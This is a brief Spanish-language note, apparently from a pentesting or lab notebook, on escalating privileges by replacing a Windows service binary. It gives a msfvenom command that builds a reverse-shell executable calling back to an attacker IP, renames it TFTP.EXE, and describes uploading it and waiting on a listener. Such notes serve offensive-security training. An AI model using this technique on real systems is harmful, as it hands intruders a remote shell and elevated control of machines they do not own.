# Service Binary Replacement

En este caso tenemos un script TFTP.EXE que se ejecuta cada x tiempo.

<figure><img src="/files/8MAVDazXqgrLYn7Y4o2I" alt=""><figcaption></figcaption></figure>

Lo más fácil de hacer es crear una reverse shell con msfvenom y llamarla exactamente igual.

```
msfvenom -p windows/x64/shell_reverse_tcp  LHOST=192.168.45.164 LPORT=1234  -f exe > TFTP.EXE
```

Lo subimos a través de un servidor en Python. Vemos que el tamaño cambia significativamente por lo que es buena señal.

<figure><img src="/files/HNI2K33GTyenQ4qw9zBt" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha por el puerto elegido y solo habría que esperar.

<figure><img src="/files/alM4MPVS8d2VNJorrmWC" alt=""><figcaption></figcaption></figure>


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